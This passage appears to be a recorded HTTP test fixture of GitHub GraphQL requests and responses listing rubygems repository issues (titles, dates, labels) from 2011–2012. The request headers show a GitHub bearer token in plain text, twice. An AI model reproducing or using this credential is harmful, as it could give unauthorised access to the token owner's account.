XMvcnVieWdlbXMvaXNzdWVzLzE4NSIsImxhYmVscyI6eyJub2RlcyI6W3sibmFtZSI6ImNhdGVnb3J5OiBpbnN0YWxsIn1dfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhNUzB3T1MweE1sUXhPVG95TWpveE9DMHdORG93TU00QUdOc2UiLCJub2RlIjp7Im51bWJlciI6MTg2LCJjcmVhdGVkQXQiOiIyMDExLTA5LTEyVDIzOjIyOjE4WiIsImNsb3NlZEF0IjoiMjAxMy0wNy0xOVQyMjo0NTo1N1oiLCJ1cGRhdGVkQXQiOiIyMDE2LTAxLTAxVDIxOjI1OjE2WiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJHZW0uZmluZF9maWxlcyhnbG9iLCBsYXRlc3Q9ZmFsc2UpIG9yIEdlbS5maW5kX2xhdGVzdF9maWxlcyIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg2IiwibGFiZWxzIjp7Im5vZGVzIjpbeyJuYW1lIjoiY2F0ZWdvcnk6IEFQSSJ9XX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4TVMwd09TMHhNbFF4T1RveU16bzFOeTB3TkRvd01NNEFHTnNuIiwibm9kZSI6eyJudW1iZXIiOjE4NywiY3JlYXRlZEF0IjoiMjAxMS0wOS0xMlQyMzoyMzo1N1oiLCJjbG9zZWRBdCI6IjIwMTItMTAtMDdUMjE6MTE6MTdaIiwidXBkYXRlZEF0IjoiMjAxMi0xMC0wN1QyMToxMToxN1oiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiQ29uc2lkZXIgdXNpbmcgZ3JhcGggc2VydmljZSB0byB2aXN1YWxpemUgZGVwZW5kZW5jaWVzIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODciLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhNUzB3T1MweE0xUXhNem95TmpvMU1TMHdORG93TU00QUdQYlkiLCJub2RlIjp7Im51bWJlciI6MTg4LCJjcmVhdGVkQXQiOiIyMDExLTA5LTEzVDE3OjI2OjUxWiIsImNsb3NlZEF0IjoiMjAxMi0wMS0xOFQxOTo0MDozN1oiLCJ1cGRhdGVkQXQiOiIyMDEyLTAxLTE4VDE5OjQwOjM3WiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJnZW0gaW5zdGFsbCBmYWlscyBiZWNhdXNlICdydWJ5X2NvZGUgY2FzZSBub3QgaGFuZGxlZDogU3ltYm9sIChHZW06OkV4Y2VwdGlvbiknIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODgiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhNUzB3T1MweE5GUXhNRG94TlRvd01DMHdORG93TU00QUdSVmwiLCJub2RlIjp7Im51bWJlciI6MTkwLCJjcmVhdGVkQXQiOiIyMDExLTA5LTE0VDE0OjE1OjAwWiIsImNsb3NlZEF0IjoiMjAxMS0wOS0xNFQxNzoxNjozMloiLCJ1cGRhdGVkQXQiOiIyMDExLTA5LTE0VDIwOjI3OjMwWiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiJcInVuaW5pdGlhbGl6ZWQgY29uc3RhbnQgU3ljazo6U3lja1wiIHdoaWxlIGNoZWNraW5nIHRoZSBvdXRkYXRlZCBnZW1zIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xOTAiLCJsYWJlbHMiOnsibm9kZXMiOltdfX19LHsiY3Vyc29yIjoiWTNWeWMyOXlPbll5T3BLNU1qQXhNUzB3T1MweE5GUXhOem8wTlRveU9TMHdORG93TU00QUdTVk8iLCJub2RlIjp7Im51bWJlciI6MTkxLCJjcmVhdGVkQXQiOiIyMDExLTA5LTE0VDIxOjQ1OjI5WiIsImNsb3NlZEF0IjoiMjAxMi0xMS0zMFQwMzoxNDoxNVoiLCJ1cGRhdGVkQXQiOiIyMDE2LTAxLTAxVDIxOjI1OjA3WiIsInN0YXRlIjoiQ0xPU0VEIiwidGl0bGUiOiInZ2VtIGJ1aWxkJyBzaG91bGQgd2FybiBvbiByZXN0cmljdGl2ZSBwZXJtaXNzaW9ucyIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkxIiwibGFiZWxzIjp7Im5vZGVzIjpbeyJuYW1lIjoiY2F0ZWdvcnk6IGluc3RhbGwifV19fX0seyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE1TMHdPUzB4TlZRd016bzFNRG8wTmkwd05Eb3dNTTRBR1RCKyIsIm5vZGUiOnsibnVtYmVyIjoxOTIsImNyZWF0ZWRBdCI6IjIwMTEtMDktMTVUMDc6NTA6NDZaIiwiY2xvc2VkQXQiOiIyMDExLTEyLTA3VDIyOjA1OjE0WiIsInVwZGF0ZWRBdCI6IjIwMTEtMTItMDdUMjI6MDU6MTRaIiwic3RhdGUiOiJDTE9TRUQiLCJ0aXRsZSI6ImxvYWRlZF9wYXRoPyBwZXJmb3JtYW5jZSBmaXggW1BBVENIXSIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkyIiwibGFiZWxzIjp7Im5vZGVzIjpbXX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4TVMwd09TMHhOMVF3Tnpvek5qb3pNaTB3TkRvd01NNEFHWFlTIiwibm9kZSI6eyJudW1iZXIiOjE5MywiY3JlYXRlZEF0IjoiMjAxMS0wOS0xN1QxMTozNjozMloiLCJjbG9zZWRBdCI6IjIwMTItMTAtMDdUMTc6MzQ6MjhaIiwidXBkYXRlZEF0IjoiMjAxNC0wNi0wNVQyMDoyNToyNVoiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiIGluY29tcGF0aWJsZSBtYXJzaGFsIGZpbGUgZm9ybWF0IChjYW4ndCBiZSByZWFkKSIsInVybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTkzIiwibGFiZWxzIjp7Im5vZGVzIjpbXX19fV19fX19 http_version: recorded_at: Sat, 06 Jan 2018 15:00:23 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, after: \"Y3Vyc29yOnYyOpK5MjAxMS0wOS0xN1QwNzozNjozMi0wNDowMM4AGXYS\", orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:24 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4983' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.472426' X-Github-Request-Id: - C652:4D97:903E44:1C48CA3:5A50E487 body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0wOS0xN1QwNzozNjo0My0wNDowMM4AGXYT","node":{"number":194,"createdAt":"2011-09-17T11:36:43Z","closedAt":"2011-09-17T12:10:12Z","updatedAt":"2011-09-17T12:10:12Z","state":"CLOSED","title":" incompatible marshal file format (can''t be read)","url":"https://github.com/rubygems/rubygems/issues/194","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0wOS0xOVQxNzozNDo1NC0wNDowMM4AGa0w","node":{"number":195,"createdAt":"2011-09-19T21:34:54Z","closedAt":"2012-11-27T21:08:07Z","updatedAt":"2012-11-27T21:08:07Z","state":"CLOSED","title":"rubygems does not in fact obey the NO_PROXY env variable","url":"https://github.com/rubygems/rubygems/issues/195","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0wOS0yN1QxNDoxMzozMi0wNDowMM4AGsZo","node":{"number":198,"createdAt":"2011-09-27T18:13:32Z","closedAt":"2016-01-06T03:39:54Z","updatedAt":"2016-01-06T03:39:54Z","state":"CLOSED","title":"a ~> requirement ending in a non-numeric segment is satisfied by unexpected versions","url":"https://github.com/rubygems/rubygems/issues/198","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMC0wOFQyMzozNToyNi0wNDowMM4AHE1u","node":{"number":201,"createdAt":"2011-10-09T03:35:26Z","closedAt":"2011-10-09T04:19:28Z","updatedAt":"2011-10-09T04:19:28Z","state":"CLOSED","title":"in a non-tty scenario, diagnostic messages are inconsistent.","url":"https://github.com/rubygems/rubygems/issues/201","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMC0yNlQwMTowNToyMi0wNDowMM4AH1Tw","node":{"number":203,"createdAt":"2011-10-26T05:05:22Z","closedAt":"2011-11-03T22:34:18Z","updatedAt":"2011-11-03T22:34:18Z","state":"CLOSED","title":"Is is possible to have rubygem source to be officially mirror to more places?","url":"https://github.com/rubygems/rubygems/issues/203","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMC0zMVQwNToxMzowNy0wNDowMM4AH/e7","node":{"number":204,"createdAt":"2011-10-31T09:13:07Z","closedAt":"2011-11-03T22:27:38Z","updatedAt":"2011-11-03T22:27:38Z","state":"CLOSED","title":"Which command proper paths","url":"https://github.com/rubygems/rubygems/issues/204","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMS0wMVQwMzowMjo0Ni0wNDowMM4AICnE","node":{"number":206,"createdAt":"2011-11-01T07:02:46Z","closedAt":"2012-10-07T17:43:06Z","updatedAt":"2012-10-07T17:43:06Z","state":"CLOSED","title":"Using operating_system.rb","url":"https://github.com/rubygems/rubygems/issues/206","labels":{"nodes":[{"name":"category: API"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMS0wMVQxODoyNzozMS0wNDowMM4AIEl1","node":{"number":207,"createdAt":"2011-11-01T22:27:31Z","closedAt":"2017-01-24T23:28:28Z","updatedAt":"2017-01-24T23:28:28Z","state":"CLOSED","title":"Allow multiple versions with --version","url":"https://github.com/rubygems/rubygems/issues/207","labels":{"nodes":[{"name":"status: ready"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMS0wMlQwNDowMzo1Ni0wNDowMM4AIFUc","node":{"number":208,"createdAt":"2011-11-02T08:03:56Z","closedAt":"2016-01-09T23:30:46Z","updatedAt":"2016-01-09T23:31:30Z","state":"CLOSED","title":"$ gem list command for multiple installs of a gem incorrectly reporting","url":"https://github.com/rubygems/rubygems/issues/208","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMS0wMlQwOTozMDozMy0wNDowMM4AIF6I","node":{"number":209,"createdAt":"2011-11-02T13:30:33Z","closedAt":"2011-11-03T22:48:00Z","updatedAt":"2011-11-04T07:08:30Z","state":"CLOSED","title":"Make index fetching more efficient","url":"https://github.com/rubygems/rubygems/issues/209","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMS0wM1QxMjowMToyMy0wNDowMM4AII/N","node":{"number":210,"createdAt":"2011-11-03T16:01:23Z","closedAt":"2013-12-13T15:42:30Z","updatedAt":"2013-12-13T15:42:30Z","state":"CLOSED","title":"Load binary extensions from separate path","url":"https://github.com/rubygems/rubygems/issues/210","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMS0wN1QyMToxNzowMy0wNTowMM4AIR2m","node":{"number":212,"createdAt":"2011-11-08T02:17:03Z","closedAt":"2012-11-28T00:15:28Z","updatedAt":"2016-01-01T21:25:07Z","state":"CLOSED","title":"Gem version release notes","url":"https://github.com/rubygems/rubygems/issues/212","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMS0yMlQwNTozOTozNi0wNTowMM4AI1je","node":{"number":221,"createdAt":"2011-11-22T10:39:36Z","closedAt":"2011-11-22T11:23:58Z","updatedAt":"2011-11-22T11:23:58Z","state":"CLOSED","title":"a bug when releasing with 1.9.3-head and gems 1.8.10","url":"https://github.com/rubygems/rubygems/issues/221","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMS0yN1QwNDo0NToxMi0wNTowMM4AJAAx","node":{"number":222,"createdAt":"2011-11-27T09:45:12Z","closedAt":"2012-11-28T00:14:21Z","updatedAt":"2012-11-28T00:14:21Z","state":"CLOSED","title":"Failure when test_gem_indexer.rb is run in isolation","url":"https://github.com/rubygems/rubygems/issues/222","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMi0wMlQwMTo0NToxNS0wNTowMM4AJP6y","node":{"number":223,"createdAt":"2011-12-02T06:45:15Z","closedAt":"2012-11-28T00:12:38Z","updatedAt":"2012-12-07T18:53:57Z","state":"CLOSED","title":"stack level too deep (SystemStackError)","url":"https://github.com/rubygems/rubygems/issues/223","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMi0wOVQxMjo1MzowOC0wNTowMM4AJjdS","node":{"number":227,"createdAt":"2011-12-09T17:53:08Z","closedAt":"2012-10-07T18:03:07Z","updatedAt":"2012-10-07T18:03:07Z","state":"CLOSED","title":"Try to activate only inactive gems","url":"https://github.com/rubygems/rubygems/issues/227","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMi0xMFQwNTozMjoxMS0wNTowMM4AJk6z","node":{"number":228,"createdAt":"2011-12-10T10:32:11Z","closedAt":"2011-12-10T13:19:51Z","updatedAt":"2011-12-10T13:19:51Z","state":"CLOSED","title":"installing pg - error: clang: error: linker command failed with exit code 1 (use -v to see invocation) make: *** [","url":"https://github.com/rubygems/rubygems/issues/228","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMi0xM1QxMTo0NzoxMi0wNTowMM4AJr+v","node":{"number":230,"createdAt":"2011-12-13T16:47:12Z","closedAt":"2012-03-02T22:37:38Z","updatedAt":"2013-04-24T08:23:43Z","state":"CLOSED","title":"undefined method `write'' for # ","url":"https://github.com/rubygems/rubygems/issues/230","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMi0xM1QyMzowNjoyNS0wNTowMM4AJt8v","node":{"number":231,"createdAt":"2011-12-14T04:06:25Z","closedAt":"2016-01-30T21:40:33Z","updatedAt":"2016-01-30T21:40:33Z","state":"CLOSED","title":"Break these up into digestable and (hopefully) parallelizable chunks","url":"https://github.com/rubygems/rubygems/issues/231","labels":{"nodes":[{"name":"status: blocked / backlog"},{"name":"type: feature request"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMi0xNFQxMzo1MToyOS0wNTowMM4AJwGZ","node":{"number":232,"createdAt":"2011-12-14T18:51:29Z","closedAt":"2012-11-28T00:10:24Z","updatedAt":"2012-11-28T00:10:24Z","state":"CLOSED","title":"Gem::Indexer update_index not loading gems","url":"https://github.com/rubygems/rubygems/issues/232","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMi0xNFQxNDoyMTowOC0wNTowMM4AJwL2","node":{"number":233,"createdAt":"2011-12-14T19:21:08Z","closedAt":"2011-12-14T19:24:06Z","updatedAt":"2011-12-14T19:24:06Z","state":"CLOSED","title":"Missing git tag for v1.8.12","url":"https://github.com/rubygems/rubygems/issues/233","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMi0xNFQxNTowNTo1Ni0wNTowMM4AJwYA","node":{"number":235,"createdAt":"2011-12-14T20:05:56Z","closedAt":"2011-12-14T20:46:29Z","updatedAt":"2013-12-18T07:26:50Z","state":"CLOSED","title":"Make post-install-messages compulsory","url":"https://github.com/rubygems/rubygems/issues/235","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMi0xNVQxMjozOTowNC0wNTowMM4AJzbH","node":{"number":238,"createdAt":"2011-12-15T17:39:04Z","closedAt":"2011-12-16T11:08:58Z","updatedAt":"2011-12-16T11:08:58Z","state":"CLOSED","title":"Can''t install our gem","url":"https://github.com/rubygems/rubygems/issues/238","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMS0xMi0yOFQxNDo0NDo1MS0wNTowMM4AKM3Z","node":{"number":246,"createdAt":"2011-12-28T19:44:51Z","closedAt":"2012-01-09T23:30:31Z","updatedAt":"2012-01-09T23:31:46Z","state":"CLOSED","title":"missing 1.8.13 downloads","url":"https://github.com/rubygems/rubygems/issues/246","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0wM1QwNjo1MToyNi0wNTowMM4AKVhe","node":{"number":251,"createdAt":"2012-01-03T11:51:26Z","closedAt":"2012-01-05T22:10:00Z","updatedAt":"2012-01-14T13:09:58Z","state":"CLOSED","title":"More information about gems on rubygems.org","url":"https://github.com/rubygems/rubygems/issues/251","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0wM1QxMTozNjoyNS0wNTowMM4AKWP8","node":{"number":252,"createdAt":"2012-01-03T16:36:25Z","closedAt":"2012-01-05T22:13:34Z","updatedAt":"2012-01-06T01:05:04Z","state":"CLOSED","title":"Find requireable file","url":"https://github.com/rubygems/rubygems/issues/252","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0wNFQxNzozOToxOS0wNTowMM4AKaVi","node":{"number":253,"createdAt":"2012-01-04T22:39:19Z","closedAt":"2012-11-28T07:55:33Z","updatedAt":"2012-11-28T07:55:33Z","state":"CLOSED","title":"On a brand-new install of RubyGems, documentation is not installed","url":"https://github.com/rubygems/rubygems/issues/253","labels":{"nodes":[{"name":"category: install"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0wNVQxNDoyMzozNC0wNTowMM4AKcxX","node":{"number":255,"createdAt":"2012-01-05T19:23:34Z","closedAt":"2012-11-28T05:15:54Z","updatedAt":"2016-01-01T21:25:07Z","state":"CLOSED","title":"Spec validation should warn when prerelease dependencies exist","url":"https://github.com/rubygems/rubygems/issues/255","labels":{"nodes":[{"name":"category: other"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0wNlQxNDoyMDoyMi0wNTowMM4AKfmX","node":{"number":256,"createdAt":"2012-01-06T19:20:22Z","closedAt":"2012-01-06T19:38:34Z","updatedAt":"2012-01-06T19:38:34Z","state":"CLOSED","title":"rubygems 1.8.14 breaks after loading yaml","url":"https://github.com/rubygems/rubygems/issues/256","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0xMVQxODo1MTo1NC0wNTowMM4AKuhy","node":{"number":259,"createdAt":"2012-01-11T23:51:54Z","closedAt":"2012-10-07T18:06:09Z","updatedAt":"2012-10-07T18:06:09Z","state":"CLOSED","title":"use /var/cache/gems/@version instead of /var/lib/gems/@version/cache","url":"https://github.com/rubygems/rubygems/issues/259","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0xMlQwMToxNjo0NC0wNTowMM4AKvI7","node":{"number":260,"createdAt":"2012-01-12T06:16:44Z","closedAt":"2012-11-28T00:07:15Z","updatedAt":"2012-11-28T00:07:15Z","state":"CLOSED","title":"rubygems installed into wrong dir when proxy set in .gemrc","url":"https://github.com/rubygems/rubygems/issues/260","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0xNFQyMTo0OToxNi0wNTowMM4AK2Yg","node":{"number":263,"createdAt":"2012-01-15T02:49:16Z","closedAt":"2012-01-15T11:50:20Z","updatedAt":"2012-01-15T11:50:20Z","state":"CLOSED","title":"Missing documentation","url":"https://github.com/rubygems/rubygems/issues/263","labels":{"nodes":[{"name":"category: other"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0xN1QxNjoxNzoxMS0wNTowMM4AK91m","node":{"number":264,"createdAt":"2012-01-17T21:17:11Z","closedAt":"2016-01-19T00:28:35Z","updatedAt":"2016-01-19T00:28:52Z","state":"CLOSED","title":"Rubygems should continue when a gemspec is missing (\"gem generate_index\")","url":"https://github.com/rubygems/rubygems/issues/264","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0yMFQyMTo0NTo0MC0wNTowMM4ALIw/","node":{"number":266,"createdAt":"2012-01-21T02:45:40Z","closedAt":"2012-03-13T22:21:55Z","updatedAt":"2012-03-13T22:21:55Z","state":"CLOSED","title":"Older YAML gemspecs have a Date instead of a Time for Spec#date","url":"https://github.com/rubygems/rubygems/issues/266","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0yNVQwOTozMjoyNy0wNTowMM4ALUB/","node":{"number":267,"createdAt":"2012-01-25T14:32:27Z","closedAt":"2012-02-17T01:37:40Z","updatedAt":"2012-02-17T01:37:40Z","state":"CLOSED","title":"unable to install gems through proxy","url":"https://github.com/rubygems/rubygems/issues/267","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0yNVQxOToyNTozMy0wNTowMM4ALWDX","node":{"number":268,"createdAt":"2012-01-26T00:25:33Z","closedAt":"2012-02-23T00:48:32Z","updatedAt":"2012-02-23T00:48:32Z","state":"CLOSED","title":"JRuby has no suckage","url":"https://github.com/rubygems/rubygems/issues/268","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0yOVQwNTo1Mjo0MS0wNTowMM4ALfCI","node":{"number":269,"createdAt":"2012-01-29T10:52:41Z","closedAt":"2012-11-28T00:04:48Z","updatedAt":"2016-01-01T21:25:07Z","state":"CLOSED","title":"Allow a quick way to ensure correct installed/uninstalled/version state for a gem","url":"https://github.com/rubygems/rubygems/issues/269","labels":{"nodes":[{"name":"category: command"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMS0zMFQxNjoxOTo1NC0wNTowMM4ALjAP","node":{"number":270,"createdAt":"2012-01-30T21:19:54Z","closedAt":"2012-01-30T22:56:23Z","updatedAt":"2012-01-30T22:56:23Z","state":"CLOSED","title":"Unable to install Rubygems 1.8.15 on rvm 1.10.2 on Snow Leopard (OSX 10.6.8)","url":"https://github.com/rubygems/rubygems/issues/270","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0wMVQxMToxOTozNy0wNTowMM4ALpqy","node":{"number":272,"createdAt":"2012-02-01T16:19:37Z","closedAt":"2012-02-17T01:34:54Z","updatedAt":"2014-05-03T18:48:55Z","state":"CLOSED","title":"Gem does not reset permissions when building packages.","url":"https://github.com/rubygems/rubygems/issues/272","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0wOVQxOTo1Njo1NS0wNTowMM4AMFC7","node":{"number":275,"createdAt":"2012-02-10T00:56:55Z","closedAt":"2012-02-10T20:06:33Z","updatedAt":"2012-02-10T20:06:33Z","state":"CLOSED","title":"Test suite hangs","url":"https://github.com/rubygems/rubygems/issues/275","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0xN1QwNTo0NTozMS0wNTowMM4AMdSs","node":{"number":278,"createdAt":"2012-02-17T10:45:31Z","closedAt":"2012-10-07T21:23:26Z","updatedAt":"2012-10-07T21:23:26Z","state":"CLOSED","title":"Add \"default\" for install locations","url":"https://github.com/rubygems/rubygems/issues/278","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0xOFQxMzoyMDo1MC0wNTowMM4AMg4q","node":{"number":279,"createdAt":"2012-02-18T18:20:50Z","closedAt":"2012-10-07T17:53:51Z","updatedAt":"2012-10-07T17:53:51Z","state":"CLOSED","title":"gem env reports EXECUTABLE DIRECTORY that is not what gem install actually uses","url":"https://github.com/rubygems/rubygems/issues/279","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yMlQxNjo0NDoyNy0wNTowMM4AMxI5","node":{"number":285,"createdAt":"2012-02-22T21:44:27Z","closedAt":null,"updatedAt":"2016-06-09T09:20:11Z","state":"OPEN","title":"Support NTLM authentication when behind Windows proxies","url":"https://github.com/rubygems/rubygems/issues/285","labels":{"nodes":[{"name":"category: other"},{"name":"platform: windows"},{"name":"status: ready"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yM1QxMTo1NToyMy0wNTowMM4AM0Fp","node":{"number":286,"createdAt":"2012-02-23T16:55:23Z","closedAt":"2016-01-19T02:12:53Z","updatedAt":"2016-01-19T02:13:02Z","state":"CLOSED","title":"generate_index gets a SystemStackError when the gem set is large","url":"https://github.com/rubygems/rubygems/issues/286","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0wNVQxMzo0NTozOS0wNTowMM4ANZUL","node":{"number":288,"createdAt":"2012-03-05T18:45:39Z","closedAt":"2012-03-07T00:10:27Z","updatedAt":"2012-03-07T00:10:27Z","state":"CLOSED","title":"gem spec (and possibly other commands) can''t resolve non-latest gems","url":"https://github.com/rubygems/rubygems/issues/288","labels":{"nodes":[{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0wNVQxOToxMDo0Mi0wNTowMM4ANakJ","node":{"number":289,"createdAt":"2012-03-06T00:10:42Z","closedAt":"2012-03-07T05:48:33Z","updatedAt":"2012-03-07T05:48:34Z","state":"CLOSED","title":"gem fetch doesn''t work on 1.8","url":"https://github.com/rubygems/rubygems/issues/289","labels":{"nodes":[{"name":"category: command"},{"name":"type: bug report"}]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0wNVQyMjo1OTo1MS0wNTowMM4ANbFU","node":{"number":290,"createdAt":"2012-03-06T03:59:51Z","closedAt":"2012-03-06T05:16:20Z","updatedAt":"2012-03-06T05:16:20Z","state":"CLOSED","title":"bundle install error ","url":"https://github.com/rubygems/rubygems/issues/290","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMVQxNzoxODoxOS0wNDowMM4ANvx+","node":{"number":293,"createdAt":"2012-03-11T21:18:19Z","closedAt":"2012-03-11T21:35:41Z","updatedAt":"2012-07-18T19:35:49Z","state":"CLOSED","title":"invalid date format in specification: \"2011-10-30 00:00:00.000000000Z\" ","url":"https://github.com/rubygems/rubygems/issues/293","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMVQxNzoxODo0OC0wNDowMM4ANvyG","node":{"number":294,"createdAt":"2012-03-11T21:18:48Z","closedAt":"2012-03-11T21:33:41Z","updatedAt":"2012-03-12T01:42:42Z","state":"CLOSED","title":"Illformed requirement [\"# 2.3.0\"] ","url":"https://github.com/rubygems/rubygems/issues/294","labels":{"nodes":[]}}},{"cursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xM1QyMzo0MTozMi0wNDowMM4AN5U6","node":{"number":295,"createdAt":"2012-03-14T03:41:32Z","closedAt":"2012-03-14T04:20:39Z","updatedAt":"2012-03-14T12:58:33Z","state":"CLOSED","title":"rubygems 1.8.18 error when installing 